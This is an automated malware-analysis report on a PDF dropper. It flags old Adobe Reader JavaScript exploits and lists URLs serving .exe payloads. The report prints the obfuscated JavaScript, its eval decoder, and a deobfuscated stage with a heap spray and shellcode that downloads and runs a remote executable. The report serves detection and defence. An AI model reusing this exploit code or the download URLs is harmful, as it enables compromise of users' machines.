Malicious PDF — malware analysis report

Static analysis result for SHA-256 2e5571dca92ba5bf…

MALICIOUS

PDF

7.0 KB Created: 2009-09-15 19:44:38 Authoring application: Eblasha 7.6.6.6 (via PDF Library 8.9.9.8) First seen: 2013-04-18
MD5: e5c69e5a06c39d4fe375ffbae676d1c0 SHA-1: 1d6fdecace2c45cbd29e31964f7ae60d16d277ff SHA-256: 2e5571dca92ba5bf1ffe98de6523d4c060cca3ab298f10053213457eaabdccc3
606 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

The PDF was flagged by ML classifiers and ClamAV as malicious (Pdf.Dropper.Agent-7244635-0). Analysis revealed embedded JavaScript streams, including one that utilizes `eval()` and `String.fromCharCode()`, indicating obfuscated code execution. This JavaScript is likely responsible for downloading and executing a second-stage payload.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 14

  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • ClamAV: Pdf.Dropper.Agent-7244635-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Pdf.Dropper.Agent-7244635-0
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 3 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    for (var fiorstux=0, hips='';fiorstux<5298;fiorstux++){hips += String.fromCharCode(fra[fiorstux]-'QWeHZNV'.substring(fiorstux%'QWeHZNV'.length,fiorstux%'QWeHZNV'.length+1).charCodeAt(0));}eval(hips);
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Generic recovered JavaScript exploit stage high PDF_GENERIC_STAGE_RECOVERY
    Bounded static stage recovery exposed hidden JavaScript through generic transforms such as null-byte collapse, percent decoding, marker replacement, arithmetic character codes, fromCharCode, numeric arrays, numeric-array minus-key decoders, alphabet-index arrays, /Producer half-difference metadata arrays, hex literals, marker-stripped Base64 literals, custom 6-bit XOR table decoders, or repeated-marker hex carriers. This rule is emitted only when the recovered stage contains exploit-like Acrobat JavaScript or shellcode markers.
  • ASCII85Decode filter (with exploit indicators) low PDF_FILTER_85
    ASCII85 encoding filter present alongside exploit delivery indicators — uncommon outside of obfuscation
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://kilogid2.biz/pol/alm3.exe Referenced by PDF JavaScript
    • http://kilogid2.biz/pol/bju3.exeReferenced by PDF JavaScript
    • http://kilogid2.biz/pol/nou3.exeReferenced by PDF JavaScript

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 4

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0013_000.js pdf-javascript-stream PDF /JS object 13 at offset 0x36B 21191 bytes
SHA-256: 8d477f9c9cbfbbfc83cf6803ccf3ba2cc7a4d43195be1ad8ad8ea0e6370b52ce
Preview script
First 1,000 lines of the extracted script
var fra=[183,204,211,171,206,183,197,191,119,203,177,210,173,191,197,127,222,169,204,193,198,125,195,202,182,131,201,205,185,192,209,173,130,199,183,195,202,213,118,198,179,196,184,203,205,114,140,138,194,182,197,142,195,211,175,200,196,199,144,133,211,175,200,196,199,160,197,100,199,183,195,202,213,133,211,175,200,196,199,147,187,207,176,201,197,201,206,182,193,118,134,125,195,202,182,137,128,127,140,201,202,188,207,192,196,113,208,198,186,205,190,145,206,97,203,189,200,177,202,186,198,211,104,207,194,191,189,182,213,186,195,188,202,183,127,142,195,208,175,200,113,199,198,193,198,189,183,181,148,218,182,191,193,185,178,199,202,112,124,115,203,135,139,158,120,127,195,135,137,152,150,109,207,126,134,129,135,138,189,146,144,134,129,124,218,123,138,130,134,118,204,153,120,146,144,123,198,143,167,125,142,115,203,129,139,153,120,127,195,138,129,143,167,109,207,134,152,129,139,138,189,138,130,138,129,124,218,122,138,126,154,118,204,151,120,138,126,123,198,138,169,120,138,115,203,129,135,156,139,127,195,134,129,142,156,109,207,126,135,136,139,138,189,141,129,153,132,124,218,126,142,145,134,118,204,153,120,146,144,123,198,142,157,123,138,115,203,137,153,149,139,127,195,134,148,139,149,109,207,133,134,137,153,138,189,155,146,135,148,124,218,125,146,134,152,118,204,170,138,138,134,123,198,143,167,120,147,115,203,132,139,153,120,127,195,138,129,143,169,109,207,134,152,136,154,138,189,141,145,139,137,124,218,124,142,132,151,118,204,169,121,143,143,123,198,137,167,141,140,115,203,137,153,170,122,127,195,155,147,156,168,109,207,131,151,133,157,138,189,146,129,139,131,124,218,125,144,147,151,118,204,154,125,146,135,123,198,140,155,120,142,115,203,137,153,154,127,127,195,137,148,142,152,109,207,133,138,137,153,138,189,145,134,137,132,124,218,142,141,126,137,118,204,157,138,143,132,123,198,137,149,127,144,115,203,151,138,149,123,127,195,153,138,138,152,109,207,131,134,133,144,138,189,155,146,138,130,124,218,142,160,129,137,118,204,149,142,141,132,123,198,136,153,138,159,115,203,132,143,149,123,127,195,141,133,157,151,109,207,145,135,129,143,138,189,138,146,153,151,124,218,142,155,126,137,118,204,170,138,142,126,123,198,140,157,141,160,115,203,151,143,152,138,127,195,155,134,142,154,109,207,134,152,134,156,138,189,140,130,138,135,124,218,139,141,126,137,118,204,157,138,144,132,123,198,139,157,120,157,115,203,134,141,157,138,127,195,134,132,136,168,109,207,134,152,149,138,138,189,146,143,134,133,124,218,139,141,126,137,118,204,154,141,143,148,123,198,154,152,125,138,115,203,136,155,157,140,127,195,139,136,135,157,109,207,144,142,134,137,138,189,157,143,137,132,124,218,125,156,134,151,118,204,166,122,159,134,123,198,157,171,142,160,115,203,132,137,171,142,127,195,142,147,154,149,109,207,148,136,151,142,138,189,142,148,151,150,124,218,127,143,144,142,118,204,155,125,140,147,123,198,152,167,127,146,115,203,138,143,155,126,127,195,151,147,141,155,109,207,145,134,132,138,138,189,144,127,152,137,124,218,120,138,132,138,118,204,154,120,138,126,123,198,140,153,126,146,115,203,136,137,155,128,127,195,137,134,141,154,109,207,127,153,131,139,138,189,145,130,140,138,124,218,125,142,131,134,118,204,167,128,143,129,123,198,157,168,137,155,115,203,136,154,149,140,127,195,139,134,157,171,109,207,134,152,129,139,138,189,146,129,156,137,124,218,120,157,145,138,118,204,155,139,156,126,123,198,156,149,128,155,115,203,134,135,158,128,127,195,140,151,141,157,109,207,128,155,135,156,138,189,144,134,140,133,124,218,127,140,133,139,118,204,155,140,144,145,123,198,153,157,125,142,115,203,133,156,157,141,127,195,155,148,135,170,109,207,131,139,151,157,138,189,147,129,134,133,124,218,123,141,131,134,118,204,154,120,157,126,123,198,140,155,125,138,115,203,134,140,157,138,127,195,142,132,135,153,109,207,133,156,148,137,138,189,157,128,142,132,124,218,125,140,130,153,118,204,167,128,143,126,123,198,136,166,123,144,115,203,136,135,151,142,127,195,139,134,157,171,109,207,131,152,129,139,138,189,143,132,139,136,124,218,129,146,144,142,118,204,157,137,160,147,123,198,157,171,120,159,115,203,129,139,154,125,127,195,134,129,141,166,109,207,146,141,151,157,138,189,145,130,140,137,124,218,127,138,133,138,118,204,151,142,141,143,123,198,141,167,122,160,115,203,135,154,155,129,127,195,140,136,141,171,109,207,132,138,135,144,138,189,140,147,137,131,124,218,126,147,132,136,118,204,151,142,145,143,123,198,141,171,127,138,115,203,131,157,155,139,127,195,140,148,141,150,109,207,129,137,135,155,138,189,144,131,136,150,124,218,126,143,133,142,118,204,149,120,138,126,120,122,146,219,169,204,110,196,192,199,162,189,200,179,201,180,184,213,173,130,112,123,198,135,166,120,155,115,203,129,152,149,137,127,195,134,146,135,166,109,207,126,151,129,152,135,113,100,196,183,195,119,205,173,187,190,184,189,198,200,179,151,188,197,193,130,213,169,211,186,197,178,187,160,190,187,192,118,179,192,204,170,198,189,185,188,148,218,182,191,193,185,178,199,202,112,124,115,203,129,152,149,137,127,195,134,146,135,166,106,131,137,204,178,201,133,176,191,175,186,182,201,216,177,212,179,147,131,135,160,190,187,192,118,196,199,215,169,211,139,190,182,184,201,173,204,193,191,203,188,144,176,191,175,198,179,195,212,171,197,124,194,182,197,204,188,194,137,205,185,192,209,173,130,176,191,184,185,209,183,189,185,132,189,188,211,175,206,182,146,196,199,215,169,211,119,209,179,192,204,170,198,189,185,188,130,162,170,195,181,184,189,198,200,179,149,203,96,199,184,215,104,192,183,194,189,185,209,183,189,185,147,179,192,204,170,198,189,185,188,133,216,189,188,193,202,195,192,211,175,130,126,130,196,199,215,169,211,119,145,199,184,215,104,188,186,197,180,194,162,170,195,181,184,189,198,200,179,136,193,203,179,202,217,186,195,188,189,121,135,145,170,195,181,184,189,198,200,179,136,186,187,191,190,217,176,135,193,198,195,184,222,113,149,197,190,186,195,202,112,188,186,197,180,194,147,180,191,188,189,197,191,144,187,202,192,183,202,147,149,192,142,126,134,129,135,142,195,188,186,197,180,194,162,170,198,189,185,188,130,199,180,201,177,193,124,189,206,180,198,176,194,192,186,208,131,215,88,204,178,201,133,181,191,187,181,178,201,215,169,211,139,196,182,206,133,137,204,192,183,202,127,142,131,192,189,200,121,205,198,186,122,183,147,129,146,206,132,139,130,134,129,146,206,115,133,119,209,190,188,210,167,187,192,200,178,208,192,177,183,139,184,189,198,200,179,133,182,187,178,199,199,180,201,177,193,140,212,111,190,187,192,118,191,204,210,133,139,128,143,138,144,158,129,147,135,143,138,144,158,129,147,135,143,138,144,158,128,146,134,142,137,143,157,128,146,134,142,137,143,157,128,146,134,142,137,143,157,128,146,134,142,137,143,157,128,146,134,142,137,143,157,128,146,134,142,137,143,157,128,146,134,142,137,143,157,128,146,134,142,137,143,157,128,146,134,142,137,143,157,128,146,134,142,137,143,157,128,146,134,142,137,143,157,128,146,134,142,137,143,157,128,146,134,142,137,143,157,128,146,134,142,137,143,157,128,146,134,142,137,143,157,128,146,134,142,137,143,157,128,146,134,142,137,143,157,128,146,134,142,137,143,157,128,146,134,142,137,143,157,128,146,134,142,137,143,157,128,146,134,142,137,143,157,128,146,134,142,137,143,157,128,146,134,142,137,143,157,128,146,134,142,137,143,157,128,146,134,142,137,143,157,128,146,134,142,137,143,157,128,146,134,142,137,143,157,128,146,134,142,137,143,157,128,146,134,142,137,143,157,128,146,134,142,137,143,157,128,146,134,142,137,143,157,128,146,134,142,137,143,157,128,146,134,142,137,143,157,128,146,134,142,137,143,157,128,146,134,142,137,143,157,128,146,134,142,137,143,157,128,146,134,142,137,143,157,128,146,134,142,137,143,157,128,146,134,142,137,143,157,128,146,134,145,198,203,206,180,136,190,200,186,197,217,174,130,112,123,133,140,149,120,138,180,120,125,197,218,181,131,137,211,91,189,218,182,189,194,191,192,197,133,171,201,186,194,178,185,196,173,199,175,191,189,127,142,195,208,175,200,113,202,205,173,198,186,185,192,187,202,133,207,188,187,196,186,198,184,191,118,120,118,204,155,124,147,126,123,198,136,157,137,139,115,203,129,135,149,120,127,195,142,147,135,149,109,207,129,134,133,135,138,189,142,126,142,147,124,218,128,156,131,138,118,204,149,124,142,126,123,198,139,149,128,156,115,203,137,153,149,124,127,195,134,133,139,149,109,207,128,134,129,155,138,189,140,126,134,129,124,218,123,158,126,134,118,204,149,120,145,145,123,198,135,149,127,145,115,203,129,136,156,124,127,195,137,132,154,152,109,207,132,138,148,135,138,189,142,126,142,147,124,218,127,146,129,134,118,204,157,138,138,145,123,198,135,168,124,138,115,203,136,135,157,138,127,195,151,149,136,168,109,207,131,142,137,153,138,189,159,144,134,137,124,218,128,156,126,143,118,204,152,124,142,126,123,198,139,149,128,158,115,203,137,153,156,139,127,195,137,148,140,157,109,207,130,138,135,152,138,189,158,127,139,146,124,218,122,156,147,136,118,204,157,138,159,128,123,198,156,167,141,157,115,203,134,152,153,142,127,195,142,132,140,151,109,207,131,140,150,152,138,189,143,131,142,138,124,218,125,144,126,138,118,204,157,138,143,133,123,198,138,168,127,141,115,203,136,139,157,138,127,195,141,137,138,152,109,207,148,137,129,138,138,189,146,144,139,135,124,218,122,138,133,140,118,204,171,123,138,129,123,198,154,158,123,141,115,203,134,135,153,129,127,195,151,149,139,150,109,207,148,156,132,138,138,189,138,148,137,135,124,218,121,142,144,155,118,204,152,128,138,129,123,198,142,153,142,140,115,203,148,136,149,128,127,195,134,149,154,171,109,207,148,151,129,138,138,189,159,144,138,129,124,218,125,146,147,156,118,204,171,128,141,144,123,198,156,154,127,143,115,203,137,153,154,141,127,195,136,133,139,155,109,207,145,137,129,138,138,189,146,144,140,135,124,218,124,146,126,153,118,204,154,126,146,144,123,198,135,152,121,157,115,203,137,153,169,123,127,195,142,146,135,153,109,207,145,137,129,138,138,189,143,147,139,151,124,218,139,141,131,134,118,204,156,140,146,146,123,198,140,156,120,146,115,203,147,143,154,122,127,195,153,146,138,152,109,207,131,152,137,152,138,189,155,128,155,137,124,218,142,160,148,156,118,204,152,122,160,148,123,198,143,167,139,138,115,203,151,137,171,127,127,195,138,151,152,170,109,207,133,139,147,143,138,189,144,131,136,150,124,218,137,156,133,142,118,204,158,128,144,132,123,198,152,167,126,144,115,203,148,135,152,123,127,195,140,130,153,157,109,207,126,134,135,139,138,189,143,126,134,129,124,218,125,142,132,142,118,204,156,122,144,134,123,198,138,154,126,143,115,203,130,154,151,124,127,195,141,133,141,158,109,207,131,138,134,135,138,189,156,134,139,132,124,218,142,157,143,151,118,204,156,139,138,146,123,198,140,154,142,160,115,203,137,153,149,124,127,195,142,132,157,157,109,207,126,153,148,139,138,189,144,145,152,129,124,218,141,138,134,151,118,204,154,120,147,134,123,198,141,171,126,146,115,203,131,156,155,141,127,195,140,137,141,153,109,207,133,136,136,140,138,189,144,146,140,148,124,218,138,146,131,138,118,204,153,141,146,147,123,198,156,168,120,159,115,203,134,140,171,142,127,195,143,132,135,153,109,207,129,137,134,135,138,189,143,126,153,129,124,218,125,144,131,134,118,204,154,125,146,144,123,198,143,152,120,142,115,203,136,157,168,122,127,195,153,131,143,152,109,207,131,136,133,154,138,189,156,134,139,129,124,218,121,155,129,140,118,204,156,120,140,148,123,198,140,154,142,160,115,203,134,153,149,124,127,195,139,135,140,156,109,207,135,142,147,143,138,189,146,143,156,150,124,218,142,160,126,155,118,204,149,124,143,131,123,198,135,149,126,155,115,203,149,142,171,142,127,195,141,133,141,157,109,207,133,134,136,139,138,189,140,148,137,146,124,218,126,156,128,156,118,204,155,139,144,135,123,198,141,156,126,160,115,203,135,139,155,129,127,195,136,150,138,151,109,207,132,143,135,137,138,189,140,148,141,146,124,218,126,160,133,134,118,204,151,142,144,145,123,198,141,166,126,140,115,203,132,138,156,125,127,195,140,134,137,170,109,207,132,139,136,143,138,189,138,126,134,129,121,142,131,208,175,200,113,196,202,181,185,175,200,195,184,222,133,200,179,205,113,152,215,186,187,199,126,122,146,219,169,204,110,185,180,148,149,192,138,177,134,180,135,200,120,189,137,204,178,201,133,169,190,178,200,142,135,221,124,138,126,134,129,135,160,190,187,192,118,196,186,196,180,191,188,147,196,191,202,180,198,177,197,181,188,147,180,191,188,189,197,191,143,122,149,196,183,195,119,209,173,200,139,183,181,187,215,117,130,193,185,176,195,202,182,133,126,206,132,143,142,131,208,175,200,113,208,198,186,205,190,147,198,197,202,187,189,175,198,182,127,135,109,207,135,134,138,135,138,189,147,126,143,129,121,142,131,211,175,200,196,199,162,174,195,198,181,186,203,141,193,187,192,201,193,131,209,173,200,119,145,199,184,215,104,189,189,203,191,203,151,133,130,177,185,126,135,221,124,138,126,134,129,135,142,119,187,178,186,195,146,203,183,204,118,204,178,201,133,171,201,195,196,197,148,149,131,189,189,203,191,203,161,171,201,195,196,197,137,160,171,201,195,196,197,130,144,113,213,187,187,190,182,198,186,204,175,207,172,186,212,189,200,194,179,142,208,198,186,205,190,129,196,191,202,180,198,177,197,181,188,160,197,100,196,183,195,119,212,190,191,192,188,189,198,220,133,207,188,187,196,186,198,184,191,118,120,118,204,149,171,138,177,123,198,135,200,120,189,112,127,140,206,205,177,198,179,126,192,205,202,186,192,186,197,200,133,209,173,200,181,202,185,147,153,124,147,131,136,122,210,212,190,191,192,188,189,198,220,115,151,189,204,182,201,203,180,201,197,145,206,97,217,176,195,193,132,180,198,209,180,187,176,169,197,198,215,173,151,145,197,189,195,198,170,136,177,197,189,195,202,171,206,147,195,178,192,209,145,200,180,197,121,210,216,189,188,184,144,115,121,145,181,205,181,144,192,205,202,186,192,186,197,200,212,142,131,215,88,188,198,197,200,188,195,189,196,113,186,212,180,198,175,184,176,190,202,188,195,177,197,191,127,142,195,195,180,126,178,199,213,118,190,189,185,127,154,212,180,198,175,184,127,190,202,188,163,177,197,191,128,224,190,187,192,118,178,201,215,193,151,188,187,200,119,166,186,204,175,207,121,128,160,190,187,192,118,199,205,213,173,206,182,207,178,148,218,182,191,193,185,178,199,202,112,124,115,203,135,139,158,120,127,195,135,137,152,150,109,207,126,134,129,135,138,189,146,144,134,129,124,218,123,138,130,134,118,204,153,120,146,144,123,198,143,167,125,142,115,203,129,139,153,120,127,195,138,129,143,167,109,207,134,152,129,139,138,189,138,130,138,129,124,218,122,138,126,154,118,204,151,120,138,126,123,198,138,169,120,138,115,203,129,135,156,139,127,195,134,129,142,156,109,207,126,135,136,139,138,189,141,129,153,132,124,218,126,142,145,134,118,204,153,120,146,144,123,198,142,157,123,138,115,203,137,153,149,139,127,195,134,148,139,149,109,207,133,134,137,153,138,189,155,146,135,148,124,218,125,146,134,152,118,204,170,138,138,134,123,198,143,167,120,147,115,203,132,139,153,120,127,195,138,129,143,169,109,207,134,152,136,154,138,189,141,145,139,137,124,218,124,142,132,151,118,204,169,121,143,143,123,198,137,167,141,140,115,203,137,153,170,122,127,195,155,147,156,168,109,207,131,151,133,157,138,189,146,129,139,131,124,218,125,144,147,151,118,204,154,125,146,135,123,198,140,155,120,142,115,203,137,153,154,127,127,195,137,148,142,152,109,207,133,138,137,153,138,189,145,134,137,132,124,218,142,141,126,137,118,204,157,138,143,132,123,198,137,149,127,144,115,203,151,138,149,123,127,195,153,138,138,152,109,207,131,134,133,144,138,189,155,146,138,130,124,218,142,160,129,137,118,204,149,142,141,132,123,198,136,153,138,159,115,203,132,143,149,123,127,195,141,133,157,151,109,207,145,135,129,143,138,189,138,146,153,151,124,218,142,155,126,137,118,204,170,138,142,126,123,198,140,157,141,160,115,203,151,143,152,138,127,195,155,134,142,154,109,207,134,152,134,156,138,189,140,130,138,135,124,218,139,141,126,137,118,204,157,138,144,132,123,198,139,157,120,157,115,203,134,141,157,138,127,195,134,132,136,168,109,207,134,152,149,138,138,189,146,143,134,133,124,218,139,141,126,137,118,204,154,141,143,148,123,198,154,152,125,138,115,203,136,155,157,140,127,195,139,136,135,157,109,207,144,142,134,137,138,189,157,143,137,132,124,218,125,156,134,151,118,204,166,122,159,134,123,198,157,171,142,160,115,203,132,137,171,142,127,195,142,147,154,149,109,207,148,136,151,142,138,189,142,148,151,150,124,218,127,143,144,142,118,204,155,125,140,147,123,198,152,167,127,146,115,203,138,143,155,126,127,195,151,147,141,155,109,207,145,134,132,138,138,189,144,127,152,137,124,218,120,138,132,138,118,204,154,120,138,126,123,198,140,153,126,146,115,203,136,137,155,128,127,195,137,134,141,154,109,207,127,153,131,139,138,189,145,130,140,138,124,218,125,142,131,134,118,204,167,128,143,129,123,198,157,168,137,155,115,203,136,154,149,140,127,195,139,134,157,171,109,207,134,152,129,139,138,189,146,129,156,137,124,218,120,157,145,138,118,204,155,139,156,126,123,198,156,149,128,155,115,203,134,135,158,128,127,195,140,151,141,157,109,207,128,155,135,156,138,189,144,134,140,133,124,218,127,140,133,139,118,204,155,140,144,145,123,198,153,157,125,142,115,203,133,156,157,141,127,195,155,148,135,170,109,207,131,139,151,157,138,189,147,129,134,133,124,218,123,141,131,134,118,204,154,120,157,126,123,198,140,155,125,138,115,203,134,140,157,138,127,195,142,132,135,153,109,207,133,156,148,137,138,189,157,128,142,132,124,218,125,140,130,153,118,204,167,128,143,126,123,198,136,166,123,144,115,203,136,135,151,142,127,195,139,134,157,171,109,207,131,152,129,139,138,189,143,132,139,136,124,218,129,146,144,142,118,204,157,137,160,147,123,198,157,171,120,159,115,203,129,139,154,125,127,195,134,129,141,166,109,207,146,141,151,157,138,189,145,130,140,137,124,218,127,138,133,138,118,204,151,142,141,143,123,198,141,167,122,160,115,203,135,154,155,129,127,195,140,136,141,171,109,207,132,138,135,144,138,189,140,147,137,131,124,218,126,147,132,136,118,204,151,142,145,143,123,198,141,171,127,138,115,203,131,157,155,139,127,195,140,151,141,170,109,207,129,137,136,140,138,189,144,131,136,150,124,218,126,143,133,142,118,204,149,120,138,126,120,122,146,219,169,204,110,190,168,200,154,120,138,145,164,142,205,219,184,191,194,190,202,184,147,180,191,188,189,197,191,143,122,149,196,183,195,119,209,173,200,139,134,201,139,149,120,138,126,134,126,127,205,159,203,131,134,129,154,179,115,138,198,137,137,128,160,190,187,192,118,202,184,215,187,202,139,203,191,188,216,171,187,190,187,121,121,138,189,147,126,143,129,124,218,129,138,135,134,115,128,160,193,187,192,201,193,148,203,177,210,173,191,197,127,222,169,204,193,198,125,195,202,182,131,137,204,178,201,133,184,143,143,192,156,141,154,174,151,118,134,201,135,200,120,189,126,185,129,186,146,120,210,130,134,129,135,149,120,131,125,134,201,139,149,120,138,126,134,140,189,212,186,130,196,183,195,119,219,185,189,159,154,138,141,222,133,138,137,204,194,186,182,140,147,132,207,141,199,154,137,196,153,140,134,189,160,190,203,177,167,149,144,155,193,133,121,127,204,184,215,186,211,169,204,194,186,182,140,147,132,207,174,148,222,169,204,193,198,124,205,219,184,191,194,190,202,184,160,197,100,196,183,195,119,217,157,167,182,164,179,158,220,133,207,188,187,196,186,198,184,191,118,120,118,135,158,106,131,137,205,185,192,209,173,130,194,171,158,191,179,170,161,197,132,189,188,211,175,206,182,146,129,207,153,120,138,126,127,204,203,186,149,194,156,184,152,206,144,133,206,163,163,185,165,199,143,209,137,211,91,203,186,149,194,156,184,152,206,162,106,168,124,120,124,203,186,149,194,156,184,152,206,160,169,202,190,132,181,198,200,118,157,189,194,189,184,199,118,193,179,202,154,186,212,182,130,194,171,158,191,179,170,161,197,127,140,212,226,82,192,195,196,180,203,206,183,200,110,198,181,189,196,187,206,175,200,197,127,142,195,208,175,200,113,205,202,186,205,183,197,191,148,198,184,202,124,204,186,188,220,173,204,164,187,195,202,206,183,200,124,202,192,170,217,186,195,188,189,121,128,160,190,191,192,201,186,198,211,133,208,179,200,196,192,212,182,136,192,187,193,195,198,171,191,118,133,173,155,148,175,134,117,125,122,146,219,169,204,110,204,178,201,216,177,201,188,181,178,201,215,169,211,139,196,182,206,133,137,204,192,183,202,127,219,173,204,193,191,192,197,147,171,194,175,200,146,203,141,120,131,122,204,182,201,216,177,201,188,132,180,191,198,186,155,194,126,130,128,145,190,191,192,201,186,198,211,118,189,182,183,195,152,217,112,140,119,127,140,192,203,112,130,196,183,195,202,206,183,200,173,183,195,201,198,193,181,126,179,142,148,157,113,128,116,126,199,184,215,187,195,189,196,176,184,215,186,187,199,177,130,180,162,133,138,119,210,205,127,219,169,204,193,191,192,197,196,169,204,192,183,202,178,150,165,151,139,135,119,125,219,169,204,193,191,192,197,196,169,204,192,183,202,178,151,165,150,129,127,122,210,218,188,195,186,181,193,201,206,182,206,180,126,122,146,226,82,195,180,126,121,205,198,186,205,183,197,191,182,198,186,204,175,207,172,135,194,132,146,119,210,205,127,219,169,204,193,191,192,197,196,169,204,192,183,202,178,149,165,151,139,142,119,125,219,169,204,193,191,192,197,196,169,204,192,183,202,178,150,165,150,128,124,119,205,198,186,205,183,197,191,182,198,186,204,175,207,172,137,194,132,140,119,127,204,186,212,180,198,175,184,176,188,210,169,195,186,126,122,146,226,82,195,180,126,121,205,198,186,205,183,197,191,182,198,186,204,175,207,172,135,194,132,147,119,210,205,127,219,169,204,193,191,192,197,196,169,204,192,183,202,178,149,165,151,139,143,119,125,219,169,204,193,191,192,197,196,169,204,192,183,202,178,150,165,150,127,127,122,210,200,183,198,186,183,179,182,204,173,206,183,185,192,197,141,113,149,203,211,91,199,201,174,185,193,202,178,201,217,112,131,137];
javascript_obj0015_001.js pdf-javascript-stream PDF /JS object 15 at offset 0x17E5 199 bytes
SHA-256: a91743f96b25b230bf1d1bf48451137c02abdd9f4a632888537e9641dd8dba0c
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
for (var fiorstux=0, hips='';fiorstux<5298;fiorstux++){hips += String.fromCharCode(fra[fiorstux]-'QWeHZNV'.substring(fiorstux%'QWeHZNV'.length,fiorstux%'QWeHZNV'.length+1).charCodeAt(0));}eval(hips);
generic_stage_recovery_000.js deobfuscated-js generic stage recovery numeric-array-minus-key from combined JavaScript objects at offset 0x36B 5298 bytes
SHA-256: 7ca24197e3e1e1bb2f9ec9b63abcfd1428845347654391d6a59d052c9a3628ba
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 9 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
function fix_it(yarsp,len){while(yarsp.length*2<len){yarsp+=yarsp;}
yarsp=yarsp.substring(0,len/2);return yarsp;}
function util_printf(){var payload=unescape("%u6490%u18A1%u0000%u8B00%u3040%u408B%u8B54%u0440%u408B%u8B04%u0440%u200D%u2000%u3D00%u007C%u0077%u0174%u33C3%u64C0%u408B%u7830%u8B0C%u0C40%u708B%uAD1C%u588B%uEB08%u8B09%u3440%u408D%u8B7C%u3C58%u446A%uD15A%u2BE2%u8BE2%uEBEC%u5A4F%u8352%u56EA%u5589%u5604%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u5708%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u75B8%u652E%uAB78%u9866%uAB66%uC033%u61B8%u0064%u5000%u5468%u7268%u3565%u1C24%u7469%u5450%uB853%uFCAA%u7C0D%u55FF%u8B04%u83F8%u0CC4%u6CB0%uE08A%u5098%u6F68%u2E6E%u6864%u7275%u6D6C%uB854%u4E8E%uEC0E%u55FF%u9304%u3350%u50C0%u5650%u558B%u8304%u7FC2%uC283%u524C%uB850%u1A36%u702F%u55FF%u5B04%u5657%u98B8%u8AFE%uFF0E%u0455%u006A%uD7FF%u7468%u7074%u2F3A%u6B2F%u6C69%u676F%u6469%u2E32%u6962%u2F7A%u6F70%u2F6C%u6C61%u336D%u652E%u6578%u0000");var nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A")
var heapblock=nop+payload;var bigblock=unescape("%u0A0A%u0A0A");var headersize=20;var spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;}
var fillblock=bigblock.substring(0,spray);var block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;}
var mem_array=new Array();for(var i=0;i<1400;i++){mem_array[i]=block+heapblock;}
